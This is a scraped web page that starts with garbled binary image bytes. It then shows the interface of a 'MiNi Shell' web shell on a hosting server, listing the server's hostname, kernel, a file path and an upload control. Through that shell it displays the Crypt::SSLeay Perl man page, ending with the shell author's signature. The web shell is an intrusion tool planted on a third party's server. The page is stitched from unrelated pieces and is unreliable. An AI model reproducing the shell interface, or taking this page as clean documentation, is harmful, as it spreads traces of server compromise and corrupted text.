JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5006.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/Crypt::SSLeay.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "SSLeay 3"
.TH SSLeay 3 "2006-12-26" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
Crypt::SSLeay \- OpenSSL glue that provides LWP https support
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\&  lwp-request https://www.example.com
.Ve
.PP
.Vb 5
\&  use LWP::UserAgent;
\&  my $ua = new LWP::UserAgent;
\&  my $req = new HTTP::Request('GET', 'https://www.example.com');
\&  my $res = $ua->request($req);
\&  print $res->code."\en";
.Ve
.PP
.Vb 2
\&  # proxy support
\&  $ENV{HTTPS_PROXY} = 'http://proxy_hostname_or_ip:port';
.Ve
.PP
.Vb 3
\&  # proxy_basic_auth
\&  $ENV{HTTPS_PROXY_USERNAME} = 'username';
\&  $ENV{HTTPS_PROXY_PASSWORD} = 'password';
.Ve
.PP
.Vb 2
\&  # debugging (SSL diagnostics)
\&  $ENV{HTTPS_DEBUG} = 1;
.Ve
.PP
.Vb 2
\&  # default ssl version
\&  $ENV{HTTPS_VERSION} = '3';
.Ve
.PP
.Vb 3
\&  # client certificate support
\&  $ENV{HTTPS_CERT_FILE} = 'certs/notacacert.pem';
\&  $ENV{HTTPS_KEY_FILE}  = 'certs/notacakeynopass.pem';
.Ve
.PP
.Vb 3
\&  # CA cert peer verification
\&  $ENV{HTTPS_CA_FILE}   = 'certs/ca-bundle.crt';
\&  $ENV{HTTPS_CA_DIR}    = 'certs/';
.Ve
.PP
.Vb 3
\&  # Client PKCS12 cert support
\&  $ENV{HTTPS_PKCS12_FILE}     = 'certs/pkcs12.pkcs12';
\&  $ENV{HTTPS_PKCS12_PASSWORD} = 'PKCS12_PASSWORD';
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
This document describes \f(CW\*(C`Crypt::SSLeay\*(C'\fR version 0.53, released
2006\-12\-26.
.PP
This perl module provides support for the https protocol under \s-1LWP\s0,
to allow an \f(CW\*(C`LWP::UserAgent\*(C'\fR object to perform \s-1GET\s0, \s-1HEAD\s0 and \s-1POST\s0
requests. Please see \s-1LWP\s0 for more information on \s-1POST\s0 requests.
.PP
The \f(CW\*(C`Crypt::SSLeay\*(C'\fR package provides \f(CW\*(C`Net::SSL\*(C'\fR, which is loaded
by \f(CW\*(C`LWP::Protocol::https\*(C'\fR for https requests and provides the
necessary \s-1SSL\s0 glue.
.PP
This distribution also makes following deprecated modules available:
.PP
.Vb 3
\&  Crypt::SSLeay::CTX
\&  Crypt::SSLeay::Conn
\&  Crypt::SSLeay::X509
.Ve
.PP
Work on Crypt::SSLeay has been continued only to
provide https support for the \s-1LWP\s0 (libwww\-perl)
libraries. People wishing to access the OpenSSL \s-1API\s0
directly from Perl are advised to look at the
\&\f(CW\*(C`Net::SSLeay\*(C'\fR module.
.PP
.Vb 1
\&  http://search.cpan.org/dist/Net_SSLeay.pm/
.Ve
.SH "INSTALL"
.IX Header "INSTALL"
.Sh "OpenSSL"
.IX Subsection "OpenSSL"
You must have OpenSSL or SSLeay installed before compiling 
this module.  You can get the latest OpenSSL package from:
.PP
.Vb 1
\&  http://www.openssl.org/
.Ve
.PP
When installing openssl make sure your config looks like:
.PP
.Vb 3
\&  > ./config --openssldir=/usr/local/openssl
\& or
\&  > ./config --openssldir=/usr/local/ssl
.Ve
.PP
If you are planning on upgrading the default OpenSSL libraries on 
a system like RedHat, not that I would recommend this, then 
you might try something like:
.PP
.Vb 1
\&  > ./config --openssldir=/usr --shared
.Ve
.PP
The \-\-shared option to config will set up building the .so 
shared libraries which is important for such systems.
.PP
.Vb 4
\& then
\&  > make
\&  > make test
\&  > make install
.Ve
.PP
This way Crypt::SSLeay will pick up the includes and 
libraries automatically.  If your includes end up
going into a separate directory like /usr/local/include,
then you may need to symlink /usr/local/openssl/include
to /usr/local/include
.Sh "Crypt::SSLeay"
.IX Subsection "Crypt::SSLeay"
The latest Crypt::SSLeay can be found at your nearest \s-1CPAN\s0,
and also:
.PP
.Vb 1
\&  http://search.cpan.org/dist/Crypt-SSLeay/
.Ve
.PP
Once you have downloaded it, Crypt::SSLeay installs easily 
using the make or nmake commands as shown below.  
.PP
.Vb 4
\&  > perl Makefile.PL
\&  > make
\&  > make test
\&  > make install
.Ve
.PP
.Vb 1
\&  * use nmake for win32
.Ve
.PP
.Vb 7
\&  !!! NOTE for Win32 users, few people seem to be able to build
\&  W  Crypt::SSLeay successfully on that platform.  You don't need
\&  I  to because ActiveState has already compiled it for you,
\&  N  and is available for their perl builds 618 & 522 as a ppm
\&  3  install.  It may also be available for their latest build.
\&  2  For problems with this, please contact ActiveState.
\&  !!!          Please see http://www.activestate.com/
.Ve
.SH "PROXY SUPPORT"
.IX Header "PROXY SUPPORT"
LWP::UserAgent and Crypt::SSLeay have their own versions of 
proxy support. Please read these sections to see which one
may be right for you.
.Sh "LWP::UserAgent Proxy Support"
.IX Subsection "LWP::UserAgent Proxy Support"
LWP::UserAgent has its own methods of proxying which may work for
you and is likely to be incompatible with Crypt::SSLeay proxy support.
To use LWP::UserAgent proxy support, try something like:
.PP
.Vb 2
\&  my $ua = new LWP::UserAgent;
\&  $ua->proxy([qw( https http )], "$proxy_ip:$proxy_port");
.Ve
.PP
At the time of this writing, libwww v5.6 seems to proxy https 
requests fine with an Apache mod_proxy server.  It sends a line like:
.PP
.Vb 1
\&  GET https://www.example.com HTTP/1.1
.Ve
.PP
to the proxy server, which is not the \s-1CONNECT\s0 request that
some proxies would expect, so this may not work with other
proxy servers than mod_proxy.  The \s-1CONNECT\s0 method is used
by Crypt::SSLeay's internal proxy support.
.Sh "Crypt::SSLeay Proxy Support"
.IX Subsection "Crypt::SSLeay Proxy Support"
For native Crypt::SSLeay proxy support of https requests,
you need to set an environment variable \s-1HTTPS_PROXY\s0 to your 
proxy server and port, as in:
.PP
.Vb 3
\&  # proxy support
\&  $ENV{HTTPS_PROXY} = 'http://proxy_hostname_or_ip:port';
\&  $ENV{HTTPS_PROXY} = '127.0.0.1:8080';
.Ve
.PP
Use of the \f(CW\*(C`HTTPS_PROXY\*(C'\fR environment variable in this way 
is similar to LWP::UserAgent\->\fIenv_proxy()\fR usage, but calling
that method will likely override or break the Crypt::SSLeay
support, so do not mix the two.
.PP
Basic auth credentials to the proxy server can be provided 
this way:
.PP
.Vb 3
\&  # proxy_basic_auth
\&  $ENV{HTTPS_PROXY_USERNAME} = 'username';
\&  $ENV{HTTPS_PROXY_PASSWORD} = 'password';
.Ve
.PP
For an example of \s-1LWP\s0 scripting with Crypt::SSLeay native proxy
support, please look at the \fIlwp-ssl-test\fR script in the 
Crypt::SSLeay distribution.
.SH "CLIENT CERTIFICATE SUPPORT"
.IX Header "CLIENT CERTIFICATE SUPPORT"
Client certificates are supported. PEM0encoded certificate and
private key files may be used like this:
.PP
.Vb 2
\&  $ENV{HTTPS_CERT_FILE} = 'certs/notacacert.pem';
\&  $ENV{HTTPS_KEY_FILE}  = 'certs/notacakeynopass.pem';
.Ve
.PP
You may test your files with the \fInet_ssl_test\fR program,
bundled with the distribution, by issuing a command like:
.PP
.Vb 2
\&  ./net_ssl_test -cert=certs/notacacert.pem \e
\&        -key=certs/notacakeynopass.pem -d GET $HOST_NAME
.Ve
.PP
Additionally, if you would like to tell the client where
the \s-1CA\s0 file is, you may set these.
.PP
.Vb 2
\&  $ENV{HTTPS_CA_FILE} = "some_file";
\&  $ENV{HTTPS_CA_DIR}  = "some_dir";
.Ve
.PP
There is no sample \s-1CA\s0 cert file at this time for testing,
but you may configure ./net_ssl_test to use your \s-1CA\s0 cert
with the \-CAfile option. (\s-1TODO:\s0 then what is teh ./certs
directory in the distribution??)
.Sh "Creating a test certificate"
.IX Subsection "Creating a test certificate"
To create simple test certificates with OpenSSL, you may
run the following command:
.PP
.Vb 3
\&  openssl req -config /usr/local/openssl/openssl.cnf \e
\&    -new -days 365 -newkey rsa:1024 -x509 \e
\&    -keyout notacakey.pem -out notacacert.pem
.Ve
.PP
To remove the pass phrase from the key file, run:
.PP
.Vb 1
\&  openssl rsa -in notacakey.pem -out notacakeynopass.pem
.Ve
.Sh "\s-1PKCS12\s0 support"
.IX Subsection "PKCS12 support"
The directives for enabling use of \s-1PKCS12\s0 certificates is:
.PP
.Vb 2
\&  $ENV{HTTPS_PKCS12_FILE}     = 'certs/pkcs12.pkcs12';
\&  $ENV{HTTPS_PKCS12_PASSWORD} = 'PKCS12_PASSWORD';
.Ve
.PP
Use of this type of certificate takes precedence over previous
certificate settings described. (\s-1TODO:\s0 unclear? Meaning "the
presence of this type of certificate??)
.SH "SSL versions"
.IX Header "SSL versions"
Crypt::SSLeay tries very hard to connect to \fIany\fR \s-1SSL\s0 web server
accomodating servers that are buggy, old or simply
not standards\-compliant. To this effect, this module will
try \s-1SSL\s0 connections in this order:
.PP
.Vb 3
\&  SSL v23 - should allow v2 and v3 servers to pick their best type
\&  SSL v3  - best connection type
\&  SSL v2  - old connection type
.Ve
.PP
Unfortunately, some servers seem not to handle a reconnect
to \s-1SSL\s0 v3 after a failed connect of \s-1SSL\s0 v23 is tried,
so you may set before using \s-1LWP\s0 or Net::SSL:
.PP
.Vb 1
\&  $ENV{HTTPS_VERSION} = 3;
.Ve
.PP
so that a \s-1SSL\s0 v3 connection is tried first. At this time
only a \s-1SSL\s0 v2 connection will be tried after this, as the 
connection attempt order remains unchanged by this setting.
.SH "BUILD NOTES"
.IX Header "BUILD NOTES"
.Sh "Win32, WinNT, Win2000, can't build"
.IX Subsection "Win32, WinNT, Win2000, can't build"
If you cannot get it to build on your windows box, try 
ActiveState perl, at least their builds 522 & 618 are
known to have a ppm install of Crypt::SSLeay available.
Please see http://www.activestate.com for more info.
.Sh "\s-1AIX\s0 4.3.2 \- Symbol Error: _\|_umoddi3 : referenced symbol not found"
.IX Subsection "AIX 4.3.2 - Symbol Error: __umoddi3 : referenced symbol not found"
The _\|_umoddi3 problem applies here as well when compiling with gcc.
.PP
Alternative solution:
In Makefile.PL, prepend \f(CW\*(C`\-L\*(C'\fR/usr/local/<path to your gcc lib>/<version>
to the \f(CW$LIBS\fR value. Add after line 82:
.PP
.Vb 1
\& $LIBS = '-L' . dirname(`gcc -print-libgcc-file-name`) . ' ' . $LIBS;
.Ve
.Sh "Solaris x86 \- Symbol Error: _\|_umoddi3 : referenced symbol not found"
.IX Subsection "Solaris x86 - Symbol Error: __umoddi3 : referenced symbol not found"
.Vb 1
\& Problem:
.Ve
.PP
On Solaris x86, the default \s-1PERL\s0 configuration, and preferred, is to use
the ld linker that comes with the \s-1OS\s0, not gcc.  Unfortunately during the 
OpenSSL build process, gcc generates in libcrypto.a, from bn_word.c,
the undefined symbol _\|_umoddi3, which is supposed to be later resolved
by gcc from libgcc.a
.PP
The system ld linker does not know about libgcc.a by default, so 
when building Crypt::SSLeay, there is a linker error for _\|_umoddi3
.PP
.Vb 1
\& Solution:
.Ve
.PP
The fix for this symlink your libgcc.a to some standard directory
like /usr/local/lib, so that the system linker, ld, can find
it when building Crypt::SSLeay.  
.Sh "FreeBSD 2.x.x / Solaris \- ... des.h:96 #error _ is defined ..."
.IX Subsection "FreeBSD 2.x.x / Solaris - ... des.h:96 #error _ is defined ..."
If you encounter this error: \*(L"...des.h:96: #error _ is
defined, but some strange definition the \s-1DES\s0 library cannot handle
that...,\*(R" then you need to edit the des.h file and comment out the 
\&\*(L"#error\*(R" line.
.PP
Its looks like this error might be common to other operating
systems, and that occurs with OpenSSL 0.9.3.  Upgrades to
0.9.4 seem to fix this problem.
.Sh "SunOS 4.1.4, Perl 5.004_04 \- ld.so: Undefined symbol: _CRYPT_mem_ctrl"
.IX Subsection "SunOS 4.1.4, Perl 5.004_04 - ld.so: Undefined symbol: _CRYPT_mem_ctrl"
Problems: (initial build was fine, but execution of Perl scripts had problems)
.PP
Got a message \*(L"ld.so: Undefined symbol: _CRYPT_mem_ctrl\*(R"
solution:  In the Makefile, comment out the line with
\&\*(L"\-fpic\*(R"  (also try changing to \*(L"\-fPIC\*(R", and this works
also, not sure if one is preferred).
.SH "NOTES"
.IX Header "NOTES"
Many thanks to Gisle Aas for the original writing of 
this module and many others including libwww for perl.  
The web will never be the same :)
.PP
Ben Laurie deserves kudos for his excellent patches
for better error handling, \s-1SSL\s0 information inspection,
and random seeding.
.PP
Thanks to Dongqiang Bai for host name resolution fix when
using a proxy.
.PP
Thanks to Stuart Horner of Core Communications, Inc. who found
the need for building \-\-shared OpenSSL libraries.
.PP
Thanks to Pavel Hlavnicka for a patch for freeing memory when
using a pkcs12 file, and for inspiring more robust \fIread()\fR behavior.
.PP
James Woodyatt is a champ for finding a ridiculous memory
leak that has been the bane of many a Crypt::SSLeay user.
.PP
Thanks to Bryan Hart for his patch adding proxy support,
and thanks to Tobias Manthey for submitting another approach.
.PP
Thanks to Alex Rhomberg for Alpha linux ccc patch.
.PP
Thanks to Tobias Manthey for his patches for client 
certificate support.
.PP
Thanks to Daisuke Kuroda for adding \s-1PKCS12\s0 certificate
support.
.PP
Thanks to Gamid Isayev for \s-1CA\s0 cert support and 
insights into error messaging.
.PP
Thanks to Jeff Long for working through a tricky \s-1CA\s0
cert SSLClientVerify issue.
.PP
Thanks to Chip Turner for patch to build under perl 5.8.0.
.PP
Thanks to Joshua Chamas for the time he spent maintaining the
module.
.SH "SUPPORT"
.IX Header "SUPPORT"
For use of Crypt::SSLeay & Net::SSL with perl's \s-1LWP\s0, please
send email to \f(CW\*(C`libwww@perl.org\*(C'\fR.
.PP
For OpenSSL or general \s-1SSL\s0 support please email the 
openssl user mailing list at \f(CW\*(C`openssl\-users@openssl.org\*(C'\fR.
This includes issues associated with building and installing
OpenSSL on one's system.
.PP
Please report all bugs at
<http://rt.cpan.org/NoAuth/Bugs.html?Dist=Crypt\-SSLeay>.
.PP
This module was originally written by Gisle Aas, and was subsequently
maintained by Joshua Chamas.
.PP
This module is currently maintained by David Landgren.
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
.Vb 3
\& Copyright (c) 2006 David Landgren.
\& Copyright (c) 1999-2003 Joshua Chamas.
\& Copyright (c) 1998 Gisle Aas.
.Ve
.PP
This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself. 

Creat By MiNi SheLL
Email: devilkiller@gmail.com